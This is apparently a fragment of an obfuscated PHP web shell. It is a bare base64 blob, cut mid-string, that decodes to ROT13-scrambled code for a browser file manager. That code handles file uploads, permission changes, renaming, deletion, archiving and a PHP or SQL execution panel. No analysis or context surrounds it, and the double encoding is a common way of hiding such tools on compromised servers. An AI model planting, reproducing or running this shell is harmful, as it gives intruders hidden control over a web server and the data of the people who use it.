xZ3U9IjEwMCUiPgo8Z2U+CiAgICA8Z3U+PD89X18oJ1N2eXIgem5hbnRyZScpLicgLSAnLl9fKCdScXZnJykuJyAtICcuJGNuZ3UuJF9FUkRIUkZHWydycXZnJ10/PjwvZ3U+CjwvZ2U+CjxnZT4KICAgIDxncSBweW5mZj0iZWJqMSI+CiAgICAgICAgPD89JHpmdD8+Cgk8L2dxPgo8L2dlPgo8Z2U+CiAgICA8Z3EgcHluZmY9ImViajEiPgogICAgICAgIDw/PXN6X3VienIoKT8+IDxuIHVlcnM9Ijw/PSRvbnB4eXZheD8+Ij48Pz1fXygnT25weCcpPz48L24+Cgk8L2dxPgo8L2dlPgo8Z2U+CiAgICA8Z3EgcHluZmY9ImViajEiIG55dnRhPSJwcmFncmUiPgogICAgICAgIDxzYmV6IGFuenI9InNiZXoxIiB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iPD89JHJxdmd5dmF4Pz4iPgogICAgICAgICAgICA8Z3JrZ25lcm4gYW56cj0iYXJqcGJhZ3JhZyIgdnE9ImFyanBiYWdyYWciIHBieWY9IjQ1IiBlYmpmPSIxNSIgZmdseXI9Imp2cWd1Ojk5JSIgZmNyeXlwdXJweD0ic255ZnIiPjw/PXVnenlmY3Jwdm55cHVuZWYoJGJ5cXBiYWdyYWcpPz48L2dya2duZXJuPgogICAgICAgICAgICA8dmFjaGcgZ2xjcj0iZmhvenZnIiBhbnpyPSJmbmlyIiBpbnlocj0iPD89X18oJ0Zob3p2ZycpPz4iPgogICAgICAgICAgICA8dmFjaGcgZ2xjcj0iZmhvenZnIiBhbnpyPSJwbmFwcnkiIGlueWhyPSI8Pz1fXygnUG5hcHJ5Jyk/PiI+CiAgICAgICAgPC9zYmV6PgogICAgPC9ncT4KPC9nZT4KPC9nbm95cj4KPD9jdWMKcnB1YiAkbmhndVsnZnBldmNnJ107Cn0gcnlmcnZzKCFyemNnbCgkX0VSREhSRkdbJ2V2dHVnZiddKSl7Cgl2cyghcnpjZ2woJF9FUkRIUkZHWydmbmlyJ10pKSB7CgkgICAgdnMoc3pfcHV6YnEoJGNuZ3UgLiAkX0VSREhSRkdbJ2V2dHVnZiddLCBzel9wYmFpcmVnX2V2dHVnZigkX0VSREhSRkdbJ2V2dHVnZl9pbnknXSksIEAkX0VSREhSRkdbJ2VycGhlZnZpcnlsJ10pKQoJCSR6ZnQgLj0gKF9fKCdTdnlyIGhjcW5ncnEnKSk7IAoJCXJ5ZnIgJHpmdCAuPSAoX18oJ1JlZWJlIGJwcGhlZXJxJykpOwoJfQoJcHlybmVmZ25ncG5wdXIoKTsKICAgICRieXFldnR1Z2YgPSBzel9ldnR1Z2ZfZmdldmF0KCRjbmd1IC4gJF9FUkRIUkZHWydldnR1Z2YnXSwgZ2Vocik7CiAgICAkeXZheCA9ICRoZXlfdmFwIC4gJyZldnR1Z2Y9JyAuICRfRVJESFJGR1snZXZ0dWdmJ10gLiAnJmNuZ3U9JyAuICRjbmd1OwogICAgJG9ucHh5dmF4ID0gJGhleV92YXAgLiAnJmNuZ3U9JyAuICRjbmd1Owo/Pgo8Z25veXIgcHluZmY9Imp1YnlyIj4KPGdlPgogICAgPGd1Pjw/PV9fKCdTdnlyIHpuYW50cmUnKS4nIC0gJy4kY25ndT8+PC9ndT4KPC9nZT4KPGdlPgogICAgPGdxIHB5bmZmPSJlYmoxIj4KICAgICAgICA8Pz0kemZ0Pz4KCTwvZ3E+CjwvZ2U+CjxnZT4KICAgIDxncSBweW5mZj0iZWJqMSI+CiAgICAgICAgPG4gdWVycz0iPD89JG9ucHh5dmF4Pz4iPjw/PV9fKCdPbnB4Jyk/Pjwvbj4KCTwvZ3E+CjwvZ2U+CjxnZT4KICAgIDxncSBweW5mZj0iZWJqMSIgbnl2dGE9InByYWdyZSI+CiAgICAgICAgPHNiZXogYW56cj0ic2JlejEiIHpyZ3VicT0iY2JmZyIgbnBndmJhPSI8Pz0keXZheD8+Ij4KICAgICAgICAgICA8Pz1fXygnRXZ0dWdmJykuJyAtICcuJF9FUkRIUkZHWydldnR1Z2YnXT8+IDx2YWNoZyBnbGNyPSJncmtnIiBhbnpyPSJldnR1Z2ZfaW55IiBpbnlocj0iPD89JGJ5cWV2dHVnZj8+Ij4KICAgICAgICA8P2N1YyB2cyAodmZfcXZlKCRjbmd1LiRfRVJESFJGR1snZXZ0dWdmJ10pKSB7ID8+CiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJwdXJweG9iayIgYW56cj0iZXJwaGVmdmlyeWwiIGlueWhyPSIxIj4gPD89X18oJ0VycGhlZnZpcnlsJyk/PjxvZS8+CiAgICAgICAgPD9jdWMgfSA/PgogICAgICAgICAgICA8dmFjaGcgZ2xjcj0iZmhvenZnIiBhbnpyPSJmbmlyIiBpbnlocj0iPD89X18oJ0Zob3p2ZycpPz4iPgogICAgICAgIDwvc2Jlej4KICAgIDwvZ3E+CjwvZ2U+CjwvZ25veXI+Cjw/Y3VjCn0gcnlmcnZzICghcnpjZ2woJF9FUkRIUkZHWydlcmFuenInXSkmJiRfRVJESFJGR1snZXJhbnpyJ108PicuJykgewoJdnMoIXJ6Y2dsKCRfRVJESFJGR1snZm5pciddKSkgewoJICAgIGVyYW56cigkY25ndSAuICRfRVJESFJGR1snZXJhbnpyJ10sICRjbmd1IC4gJF9FUkRIUkZHWydhcmphbnpyJ10pOwoJCSR6ZnQgLj0gKF9fKCdTdnlyIGhjcW5ncnEnKSk7CgkJJF9FUkRIUkZHWydlcmFuenInXSA9ICRfRVJESFJGR1snYXJqYW56ciddOwoJfQoJcHlybmVmZ25ncG5wdXIoKTsKICAgICR5dmF4ID0gJGhleV92YXAgLiAnJmVyYW56cj0nIC4gJF9FUkRIUkZHWydlcmFuenInXSAuICcmY25ndT0nIC4gJGNuZ3U7CiAgICAkb25weHl2YXggPSAkaGV5X3ZhcCAuICcmY25ndT0nIC4gJGNuZ3U7Cgo/Pgo8Z25veXIgcHluZmY9Imp1YnlyIj4KPGdlPgogICAgPGd1Pjw/PV9fKCdTdnlyIHpuYW50cmUnKS4nIC0gJy4kY25ndT8+PC9ndT4KPC9nZT4KPGdlPgogICAgPGdxIHB5bmZmPSJlYmoxIj4KICAgICAgICA8Pz0kemZ0Pz4KCTwvZ3E+CjwvZ2U+CjxnZT4KICAgIDxncSBweW5mZj0iZWJqMSI+CiAgICAgICAgPG4gdWVycz0iPD89JG9ucHh5dmF4Pz4iPjw/PV9fKCdPbnB4Jyk/Pjwvbj4KCTwvZ3E+CjwvZ2U+CjxnZT4KICAgIDxncSBweW5mZj0iZWJqMSIgbnl2dGE9InByYWdyZSI+CiAgICAgICAgPHNiZXogYW56cj0ic2JlejEiIHpyZ3VicT0iY2JmZyIgbnBndmJhPSI8Pz0keXZheD8+Ij4KICAgICAgICAgICAgPD89X18oJ0VyYW56cicpPz46IDx2YWNoZyBnbGNyPSJncmtnIiBhbnpyPSJhcmphbnpyIiBpbnlocj0iPD89JF9FUkRIUkZHWydlcmFuenInXT8+Ij48b2UvPgogICAgICAgICAgICA8dmFjaGcgZ2xjcj0iZmhvenZnIiBhbnpyPSJmbmlyIiBpbnlocj0iPD89X18oJ0Zob3p2ZycpPz4iPgogICAgICAgIDwvc2Jlej4KICAgIDwvZ3E+CjwvZ2U+CjwvZ25veXI+Cjw/Y3VjCn0gcnlmciB7Ci8vWXJnJ2YgZWJweCEKICAgICR6ZnQgPSAnJzsKICAgIHZzKCFyemNnbCgkX1NWWVJGWydoY3libnEnXSkmJiFyemNnbCgkc3pfcGJhc3Z0WydoY3libnFfc3Z5ciddKSkgewogICAgICAgIHZzKCFyemNnbCgkX1NWWVJGWydoY3libnEnXVsnYW56ciddKSl7CiAgICAgICAgICAgICRfU1ZZUkZbJ2hjeWJucSddWydhbnpyJ10gPSBmZ2VfZXJjeW5wcignJScsICcnLCAkX1NWWVJGWydoY3libnEnXVsnYW56ciddKTsKICAgICAgICAgICAgdnMoIXpiaXJfaGN5Ym5xcnFfc3Z5cigkX1NWWVJGWydoY3libnEnXVsnZ3pjX2FuenInXSwgJGNuZ3UgLiAkX1NWWVJGWydoY3libnEnXVsnYW56ciddKSl7CiAgICAgICAgICAgICAgICAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpOwogICAgICAgICAgICB9IHJ5ZnIgewoJCQkJJHpmdCAuPSBfXygnU3Z5cmYgaGN5Ym5xcnEnKS4nOiAnLiRfU1ZZUkZbJ2hjeWJucSddWydhbnpyJ107CgkJCX0KICAgICAgICB9CiAgICB9IHJ5ZnJ2cyghcnpjZ2woJF9FUkRIUkZHWydxcnlyZ3InXSkmJiRfRVJESFJGR1sncXJ5cmdyJ108PicuJykgewogICAgICAgIHZzKCFzel9xcnlfc3Z5cmYoKCRjbmd1IC4gJF9FUkRIUkZHWydxcnlyZ3InXSksIGdlaHIpKSB7CiAgICAgICAgICAgICR6ZnQgLj0gX18oJ1JlZWJlIGJwcGhlZXJxJyk7CiAgICAgICAgfSByeWZyIHsKCQkJJHpmdCAuPSBfXygnUXJ5cmdycScpLicgJy4kX0VSREhSRkdbJ3FyeXJnciddOwoJCX0KCX0gcnlmcnZzKCFyemNnbCgkX0VSREhSRkdbJ3p4cXZlJ10pJiYhcnpjZ2woJHN6X3BiYXN2dFsnem54cl9xdmVycGdiZWwnXSkpIHsKICAgICAgICB2cyghQHp4cXZlKCRjbmd1IC4gJF9FUkRIUkZHWydxdmVhbnpyJ10sMDc3NykpIHsKICAgICAgICAgICAgJHpmdCAuPSBfXygnUmVlYmUgYnBwaGVlcnEnKTsKICAgICAgICB9IHJ5ZnIgewoJCQkkemZ0IC49IF9fKCdQZXJuZ3JxJykuJyAnLiRfRVJESFJGR1sncXZlYW56ciddOwoJCX0KICAgIH0gcnlmcnZzKCFyemNnbCgkX0VSREhSRkdbJ3p4c3Z5ciddKSYmIXJ6Y2dsKCRzel9wYmFzdnRbJ2Fyal9zdnlyJ10pKSB7CiAgICAgICAgdnMoISRzYz1Ac2JjcmEoJGNuZ3UgLiAkX0VSREhSRkdbJ3N2eXJhbnpyJ10sImoiKSkgewogICAgICAgICAgICAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpOwogICAgICAgIH0gcnlmciB7CgkJCXNweWJmcigkc2MpOwoJCQkkemZ0IC49IF9fKCdQZXJuZ3JxJykuJyAnLiRfRVJESFJGR1snc3Z5cmFuenInXTsKCQl9CiAgICB9IHJ5ZnJ2cyAodmZmcmcoJF9UUkdbJ212YyddKSkgewoJCSRmYmhlcHIgPSBvbmZyNjRfcXJwYnFyKCRfVFJHWydtdmMnXSk7CgkJJHFyZmd2YW5ndmJhID0gb25mcmFuenIoJGZiaGVwcikuJy5tdmMnOwoJCWZyZ19ndnpyX3l2enZnKDApOwoJCSRjdW5lID0gYXJqIEN1bmVRbmduKCRxcmZndmFuZ3ZiYSk7CgkJJGN1bmUtPm9odnlxU2VielF2ZXJwZ2JlbCgkZmJoZXByKTsKCQl2cyAodmZfc3Z5cigkcXJmZ3Zhbmd2YmEpKQoJCSR6ZnQgLj0gX18oJ0duZngnKS4nICInLl9fKCdOZXB1dml2YXQnKS4nICcuJHFyZmd2YW5ndmJhLiciICcuX18oJ3FiYXInKS4KCQknLiZhb2ZjOycuc3pfeXZheCgncWJqYXlibnEnLCRjbmd1LiRxcmZndmFuZ3ZiYSxfXygnUWJqYXlibnEnKSxfXygnUWJqYXlibnEnKS4nICcuICRxcmZndmFuZ3ZiYSkKCQkuJyZhb2ZjOzxuIHVlcnM9IicuJGhleV92YXAuJyZxcnlyZ3I9Jy4kcXJmZ3Zhbmd2YmEuJyZjbmd1PScgLiAkY25ndS4nIiBndmd5cj0iJy5fXygnUXJ5cmdyJykuJyAnLiAkcXJmZ3Zhbmd2YmEuJyIgPicuX18oJ1FyeXJncicpIC4gJzwvbj4nOwoJCXJ5ZnIgJHpmdCAuPSBfXygnUmVlYmUgYnBwaGVlcnEnKS4nOiAnLl9fKCdhYiBzdnlyZicpOwoJfSByeWZydnMgKHZmZnJnKCRfVFJHWyd0bSddKSkgewoJCSRmYmhlcHIgPSBvbmZyNjRfcXJwYnFyKCRfVFJHWyd0bSddKTsKCQkkbmVwdXZpciA9ICRmYmhlcHIuJy5nbmUnOwoJCSRxcmZndmFuZ3ZiYSA9IG9uZnJhbnpyKCRmYmhlcHIpLicuZ25lJzsKCQl2cyAodmZfc3Z5cigkbmVwdXZpcikpIGhheXZheCgkbmVwdXZpcik7CgkJdnMgKHZmX3N2eXIoJG5lcHV2aXIuJy50bScpKSBoYXl2YXgoJG5lcHV2aXIuJy50bScpOwoJCXB5cm5lZmduZ3BucHVyKCk7CgkJZnJnX2d2enJfeXZ6dmcoMCk7CgkJLy9xdnIoKTsKCQkkY3VuZSA9IGFyaiBDdW5lUW5nbigkcXJmZ3Zhbmd2YmEpOwoJCSRjdW5lLT5vaHZ5cVNlYnpRdmVycGdiZWwoJGZiaGVwcik7CgkJJGN1bmUtPnBiemNlcmZmKEN1bmU6OlRNLCcuZ25lLnRtJyk7CgkJaGFmcmcoJGN1bmUpOwoJCXZzICh2Zl9zdnlyKCRuZXB1dmlyKSkgewoJCQl2cyAodmZfc3Z5cigkbmVwdXZpci4nLnRtJykpIHsKCQkJCWhheXZheCgkbmVwdXZpcik7IAoJCQkJJHFyZmd2YW5ndmJhIC49ICcudG0nOwoJCQl9CgoJCQkkemZ0IC49IF9fKCdHbmZ4JykuJyAiJy5fXygnTmVwdXZpdmF0JykuJyAnLiRxcmZndmFuZ3ZiYS4nIiAnLl9fKCdxYmFyJykuCgkJCScuJmFvZmM7Jy5zel95dmF4KCdxYmpheWJucScsJGNuZ3UuJHFyZmd2YW5ndmJhLF9fKCdRYmpheWJucScpLF9fKCdRYmpheWJucScpLicgJy4gJHFyZmd2YW5ndmJhKQoJCQkuJyZhb2ZjOzxuIHVlcnM9IicuJGhleV92YXAuJyZxcnlyZ3I9Jy4kcXJmZ3Zhbmd2YmEuJyZjbmd1PScgLiAkY25ndS4nIiBndmd5cj0iJy5fXygnUXJ5cmdyJykuJyAnLiRxcmZndmFuZ3ZiYS4nIiA+Jy5fXygnUXJ5cmdyJykuJzwvbj4nOwoJCX0gcnlmciAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpLic6ICcuX18oJ2FiIHN2eXJmJyk7Cgl9IHJ5ZnJ2cyAodmZmcmcoJF9UUkdbJ3FycGJ6Y2VyZmYnXSkpIHsKCQkvLyAkZmJoZXByID0gb25mcjY0X3FycGJxcigkX1RSR1sncXJwYnpjZXJmZiddKTsKCQkvLyAkcXJmZ3Zhbmd2YmEgPSBvbmZyYW56cigkZmJoZXByKTsKCQkvLyAkcmtnID0gcmFxKHJrY3licXIoIi4iLCAkcXJmZ3Zhbmd2YmEpKTsKCQkvLyB2cyAoJHJrZz09J212YycgQkUgJHJrZz09J3RtJykgewoJCQkvLyAkY3VuZSA9IGFyaiBDdW5lUW5nbigkZmJoZXByKTsKCQkJLy8gJGN1bmUtPnFycGJ6Y2VyZmYoKTsKCQkJLy8gJG9uZnJfc3Z5ciA9IGZnZV9lcmN5bnByKCcuJy4kcmtnLCcnLCRxcmZndmFuZ3ZiYSk7CgkJCS8vICRya2cgPSByYXEocmtjeWJxcigiLiIsICRvbmZyX3N2eXIpKTsKCQkJLy8gdnMgKCRya2c9PSdnbmUnKXsKCQkJCS8vICRjdW5lID0gYXJqIEN1bmVRbmduKCRvbmZyX3N2eXIpOwoJCQkJLy8gJGN1bmUtPnJrZ2VucGdHYihxdmUoJGZiaGVwcikpOwoJCQkvLyB9CgkJLy8gfSAKCQkvLyAkemZ0IC49IF9fKCdHbmZ4JykuJyAiJy5fXygnUXJwYnpjZXJmZicpLicgJy4kZmJoZXByLiciICcuX18oJ3FiYXInKTsKCX0gcnlmcnZzICh2ZmZyZygkX1RSR1sndG1zdnlyJ10pKSB7CgkJJGZiaGVwciA9IG9uZnI2NF9xcnBicXIoJF9UUkdbJ3Rtc3Z5ciddKTsKCQkkbmVwdXZpciA9ICRmYmhlcHIuJy5nbmUnOwoJCSRxcmZndmFuZ3ZiYSA9IG9uZnJhbnpyKCRmYmhlcHIpLicuZ25lJzsKCQl2cyAodmZfc3Z5cigkbmVwdXZpcikpIGhheXZheCgkbmVwdXZpcik7CgkJdnMgKHZmX3N2eXIoJG5lcHV2aXIuJy50bScpKSBoYXl2YXgoJG5lcHV2aXIuJy50bScpOwoJCWZyZ19ndnpyX3l2enZnKDApOwoJCS8vcnB1YiAkcXJmZ3Zhbmd2YmE7CgkJJHJrZ19uZWUgPSBya2N5YnFyKCcuJyxvbmZyYW56cigkZmJoZXByKSk7CgkJdnMgKHZmZnJnKCRya2dfbmVlWzFdKSkgewoJCQloYWZyZygkcmtnX25lZVswXSk7CgkJCSRya2c9dnpjeWJxcignLicsJHJrZ19uZWUpOwoJCX0gCgkJJGN1bmUgPSBhcmogQ3VuZVFuZ24oJHFyZmd2YW5ndmJhKTsKCQkkY3VuZS0+bnFxU3Z5cigkZmJoZXByKTsKCQkkY3VuZS0+cGJ6Y2VyZmYoQ3VuZTo6VE0sJHJrZy4nLmduZS50bScpOwoJCWhhZnJnKCRjdW5lKTsKCQl2cyAodmZfc3Z5cigkbmVwdXZpcikpIHsKCQkJdnMgKHZmX3N2eXIoJG5lcHV2aXIuJy50bScpKSB7CgkJCQloYXl2YXgoJG5lcHV2aXIpOyAKCQkJCSRxcmZndmFuZ3ZiYSAuPSAnLnRtJzsKCQkJfQoJCQkkemZ0IC49IF9fKCdHbmZ4JykuJyAiJy5fXygnTmVwdXZpdmF0JykuJyAnLiRxcmZndmFuZ3ZiYS4nIiAnLl9fKCdxYmFyJykuCgkJCScuJmFvZmM7Jy5zel95dmF4KCdxYmpheWJucScsJGNuZ3UuJHFyZmd2YW5ndmJhLF9fKCdRYmpheWJucScpLF9fKCdRYmpheWJucScpLicgJy4gJHFyZmd2YW5ndmJhKQoJCQkuJyZhb2ZjOzxuIHVlcnM9IicuJGhleV92YXAuJyZxcnlyZ3I9Jy4kcXJmZ3Zhbmd2YmEuJyZjbmd1PScgLiAkY25ndS4nIiBndmd5cj0iJy5fXygnUXJ5cmdyJykuJyAnLiRxcmZndmFuZ3ZiYS4nIiA+Jy5fXygnUXJ5cmdyJykuJzwvbj4nOwoJCX0gcnlmciAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpLic6ICcuX18oJ2FiIHN2eXJmJyk7Cgl9Cj8+Cjxnbm95ciBweW5mZj0ianVieXIiIHZxPSJ1cm5xcmVfZ25veXIiID4KPGdlPgogICAgPGd1IHBieWZjbmE9IjIiPjw/PV9fKCdTdnlyIHpuYW50cmUnKT8+PD89KCFyemNnbCgkY25ndSk/JyAtICcuJGNuZ3U6JycpPz48L2d1Pgo8L2dlPgo8P2N1YyB2cyghcnpjZ2woJHpmdCkpeyA/Pgo8Z2U+Cgk8Z3EgcGJ5ZmNuYT0iMiIgcHluZmY9ImViajIiPjw/PSR6ZnQ/PjwvZ3E+CjwvZ2U+Cjw/Y3VjIH0gPz4KPGdlPgogICAgPGdxIHB5bmZmPSJlYmoyIj4KCQk8Z25veXI+CgkJCTxnZT4KCQkJPGdxPgoJCQkJPD89c3pfdWJ6cigpPz4KCQkJPC9ncT4KCQkJPGdxPgoJCQk8P2N1YyB2cyghcnpjZ2woJHN6X3BiYXN2dFsnem54cl9xdmVycGdiZWwnXSkpIHsgPz4KCQkJCTxzYmV6IHpyZ3VicT0iY2JmZyIgbnBndmJhPSI8Pz0kaGV5X3ZhcD8+Ij4KCQkJCTx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9ImNuZ3UiIGlueWhyPSI8Pz0kY25ndT8+IiAvPgoJCQkJPHZhY2hnIGdsY3I9Imdya2ciIGFuenI9InF2ZWFuenIiIGZ2bXI9IjE1Ij4KCQkJCTx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9Inp4cXZlIiBpbnlocj0iPD89X18oJ1pueHIgcXZlcnBnYmVsJyk/PiI+CgkJCQk8L3NiZXo+CgkJCTw/Y3VjIH0gPz4KCQkJPC9ncT4KCQkJPGdxPgoJCQk8P2N1YyB2cyghcnpjZ2woJHN6X3BiYXN2dFsnYXJqX3N2eXInXSkpIHsgPz4KCQkJCTxzYmV6IHpyZ3VicT0iY2JmZyIgbnBndmJhPSI8Pz0kaGV5X3ZhcD8+Ij4KCQkJCTx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9ImNuZ3UiIGlueWhyPSI8Pz0kY25ndT8+IiAvPgoJCQkJPHZhY2hnIGdsY3I9Imdya2ciIGFuenI9InN2eXJhbnpyIiBmdm1yPSIxNSI+CgkJCQk8dmFjaGcgZ2xjcj0iZmhvenZnIiBhbnpyPSJ6eHN2eXIiIGlueWhyPSI8Pz1fXygnQXJqIHN2eXInKT8+Ij4KCQkJCTwvc2Jlej4KCQkJPD9jdWMgfSA/PgoJCQk8L2dxPgoJCQk8Z3E+CgkJCTw/PXN6X2VoYV92YWNoZygnY3VjJyk/PgoJCQk8L2dxPgoJCQk8Z3E+CgkJCTw/PXN6X2VoYV92YWNoZygnZmR5Jyk/PgoJCQk8L2dxPgoJCQk8L2dlPgoJCTwvZ25veXI+CiAgICA8L2dxPgogICAgPGdxIHB5bmZmPSJlYmozIj4KCQk8Z25veXI+CgkJPGdlPgoJCTxncT4KCQk8P2N1YyB2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ2hjeWJucV9zdnlyJ10pKSB7ID8+CgkJCTxzYmV6IGFuenI9InNiZXoxIiB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iPD89JGhleV92YXA/PiIgcmFwZ2xjcj0iemh5Z3ZjbmVnL3NiZXotcW5nbiI+CgkJCTx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9ImNuZ3UiIGlueWhyPSI8Pz0kY25ndT8+IiAvPgoJCQk8dmFjaGcgZ2xjcj0ic3Z5ciIgYW56cj0iaGN5Ym5xIiB2cT0iaGN5Ym5xX3V2cXFyYSIgZmdseXI9ImNiZnZndmJhOiBub2ZieWhncjsgcXZmY3lubDogb3licHg7IGJpcmVzeWJqOiB1dnFxcmE7IGp2cWd1OiAwOyB1cnZ0dWc6IDA7IG9iZXFyZTogMDsgY25xcXZhdDogMDsiIGJhcHVuYXRyPSJxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnaGN5Ym5xX2l2ZnZveXInKS5pbnlociA9IGd1dmYuaW55aHI7IiAvPgoJCQk8dmFjaGcgZ2xjcj0iZ3JrZyIgZXJucWJheWw9IjEiIHZxPSJoY3libnFfaXZmdm95ciIgY3lucHJ1YnlxcmU9Ijw/PV9fKCdGcnlycGcgZ3VyIHN2eXInKT8+IiBmZ2x5cj0icGhlZmJlOiBjYnZhZ3JlOyIgYmFweXZweD0icWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ2hjeWJucV91dnFxcmEnKS5weXZweCgpOyIgLz4KCQkJPHZhY2hnIGdsY3I9ImZob3p2ZyIgYW56cj0iZ3JmZyIgaW55aHI9Ijw/PV9fKCdIY3libnEnKT8+IiAvPgoJCQk8L3NiZXo+CgkJPD9jdWMgfSA/PgoJCTwvZ3E+CgkJPGdxPgoJCTw/Y3VjIHZzICgkbmhndVsnbmhndWJldm1yJ10pIHsgPz4KCQkJPHNiZXogbnBndmJhPSIiIHpyZ3VicT0iY2JmZyI+JmFvZmM7JmFvZmM7JmFvZmM7CgkJCTx2YWNoZyBhbnpyPSJkaHZnIiBnbGNyPSJ1dnFxcmEiIGlueWhyPSIxIj4KCQkJPD89X18oJ1VyeXliJyk/PiwgPD89JG5oZ3VbJ3lidHZhJ10/PgoJCQk8dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iPD89X18oJ0RodmcnKT8+Ij4KCQkJPC9zYmV6PgoJCTw/Y3VjIH0gPz4KCQk8L2dxPgoJCTxncT4KCQk8Pz1zel95bmF0X3NiZXooJHluYXRobnRyKT8+CgkJPC9ncT4KCQk8Z2U+CgkJPC9nbm95cj4KICAgIDwvZ3E+CjwvZ2U+CjwvZ25veXI+Cjxnbm95ciBweW5mZj0ibnl5IiBvYmVxcmU9JzAnIHByeXlmY25wdmF0PScxJyBwcnl5Y25xcXZhdD0nMScgdnE9InN6X2dub3lyIiBqdnFndT0iMTAwJSI+CjxndXJucT4KPGdlPiAKICAgIDxndSBmZ2x5cj0ianV2Z3ItZmNucHI6YWJqZW5jIj4gPD89X18oJ1N2eXJhbnpyJyk/PiA8L2d1PgogICAgPGd1IGZnbHlyPSJqdXZnci1mY25wcjphYmplbmMiPiA8Pz1fXygnRnZtcicpPz4gPC9ndT4KICAgIDxndSBmZ2x5cj0ianV2Z3ItZmNucHI6YWJqZW5jIj4gPD89X18oJ1FuZ3InKT8+IDwvZ3U+CiAgICA8Z3UgZmdseXI9Imp1dmdyLWZjbnByOmFiamVuYyI+IDw/PV9fKCdFdnR1Z2YnKT8+IDwvZ3U+CiAgICA8Z3UgcGJ5ZmNuYT0iNCIgZmdseXI9Imp1dmdyLWZjbnByOmFiamVuYyI+IDw/PV9fKCdabmFudHInKT8+IDwvZ3U+CjwvZ2U+CjwvZ3VybnE+Cjxnb2JxbD4KPD9jdWMKJHJ5cnpyYWdmID0gc3pfZnBuYV9xdmUoJGNuZ3UsICcnLCAnbnl5JywgZ2Vocik7CiRxdmVmID0gbmVlbmwoKTsKJHN2eXJmID0gbmVlbmwoKTsKc2Jlcm5wdSAoJHJ5cnpyYWdmIG5mICRzdnlyKXsKICAgIHZzKEB2Zl9xdmUoJGNuZ3UgLiAkc3Z5cikpewogICAgICAgICRxdmVmW10gPSAkc3Z5cjsKICAgIH0gcnlmciB7CiAgICAgICAgJHN2eXJmW10gPSAkc3Z5cjsKICAgIH0KfQphbmdmYmVnKCRxdmVmKTsgYW5nZmJlZygkc3Z5cmYpOwokcnlyenJhZ2YgPSBuZWVubF96cmV0cigkcXZlZiwgJHN2eXJmKTsKCnNiZXJucHUgKCRyeXJ6cmFnZiBuZiAkc3Z5cil7CiAgICAkc3Z5cmFuenIgPSAkY25ndSAuICRzdnlyOwogICAgJHN2eXJxbmduID0gQGZnbmcoJHN2eXJhbnpyKTsKICAgIHZzKEB2Zl9xdmUoJHN2eXJhbnpyKSl7CgkJJHN2eXJxbmduWzddID0gJyc7CgkJdnMgKCFyemNnbCgkc3pfcGJhc3Z0WydmdWJqX3F2ZV9mdm1yJ10pJiYhc3pfZWJiZygkc3Z5cikpICRzdnlycW5nbls3XSA9IHN6X3F2ZV9mdm1yKCRzdnlyYW56cik7CiAgICAgICAgJHl2YXggPSAnPG4gdWVycz0iJy4kaGV5X3ZhcC4nJmNuZ3U9Jy4kY25ndS4kc3Z5ci4nIiBndmd5cj0iJy5fXygnRnViaicpLicgJy4kc3Z5ci4nIj48ZmNuYSBweW5mZj0ic2J5cXJlIj4mYW9mYzsmYW9mYzsmYW9mYzsmYW9mYzs8L2ZjbmE+ICcuJHN2eXIuJzwvbj4nOwogICAgICAgICR5Ym5xeXZheD0gKHN6X2ViYmcoJHN2eXIpfHwkY3VuZV96bmxvcikgPyAnJyA6IHN6X3l2YXgoJ212YycsJHN2eXJhbnpyLF9fKCdQYnpjZXJmZicpLicmYW9mYzttdmMnLF9fKCdOZXB1dml2YXQnKS4nICcuICRzdnlyKTsKCQkkbmV5dmF4ICA9IChzel9lYmJnKCRzdnlyKXx8JGN1bmVfem5sb3IpID8gJycgOiBzel95dmF4KCd0bScsJHN2eXJhbnpyLF9fKCdQYnpjZXJmZicpLicmYW9mYzsuZ25lLnRtJyxfXygnTmVwdXZpdmF0JykuJyAnLiRzdnlyKTsKICAgICAgICAkZmdseXIgPSAnZWJqMic7CgkJIHZzICghc3pfZWJiZygkc3Z5cikpICRueXJlZyA9ICdiYVB5dnB4PSJ2cyhwYmFzdmV6KFwnJyAuIF9fKCdOZXIgbGJoIGZoZXIgbGJoIGpuYWcgZ2IgcXJ5cmdyIGd1dmYgcXZlcnBnYmVsIChlcnBoZWZ2aXJ5bCk/JykuJ1xhIC8nLiAkc3Z5ci4gJ1wnKSkgcWJwaHpyYWcueWJwbmd2YmEudWVycyA9IFwnJyAuICRoZXlfdmFwIC4gJyZxcnlyZ3I9JyAuICRzdnlyIC4gJyZjbmd1PScgLiAkY25ndSAgLiAnXCciJzsgcnlmciAkbnlyZWcgPSAnJzsKICAgIH0gcnlmciB7CgkJJHl2YXggPSAKCQkJJHN6X3BiYXN2dFsnZnVial92enQnXSYmQHRyZ3Z6bnRyZnZtcigkc3Z5cmFuenIpIAoJCQk/ICc8biBnbmV0cmc9Il9veW5heCIgYmFweXZweD0iaW5lIHlyc2diID0gZnBlcnJhLm5pbnZ5SnZxZ3UvMi0zMjA7anZhcWJqLmJjcmEoXCcnCgkJCS4gc3pfdnp0X3l2YXgoJHN2eXJhbnpyKQoJCQkuJ1wnLFwnY2JjaGNcJyxcJ2p2cWd1PTY0MCx1cnZ0dWc9NDgwLHlyc2c9XCcgKyB5cnNnYiArIFwnLGZwZWJ5eW9uZWY9bHJmLGdiYnlvbmU9YWIseWJwbmd2YmE9YWIscXZlcnBnYmV2cmY9YWIsZmduZ2hmPWFiXCcpO2VyZ2hlYSBzbnlmcjsiIHVlcnM9Iicuc3pfdnp0X3l2YXgoJHN2eXJhbnpyKS4nIj48ZmNuYSBweW5mZj0idnp0Ij4mYW9mYzsmYW9mYzsmYW9mYzsmYW9mYzs8L2ZjbmE+ICcuJHN2eXIuJzwvbj4nCgkJCTogJzxuIHVlcnM9IicgLiAkaGV5X3ZhcCAuICcmcnF2Zz0nIC4gJHN2eXIgLiAnJmNuZ3U9JyAuICRjbmd1LiAnIiBndmd5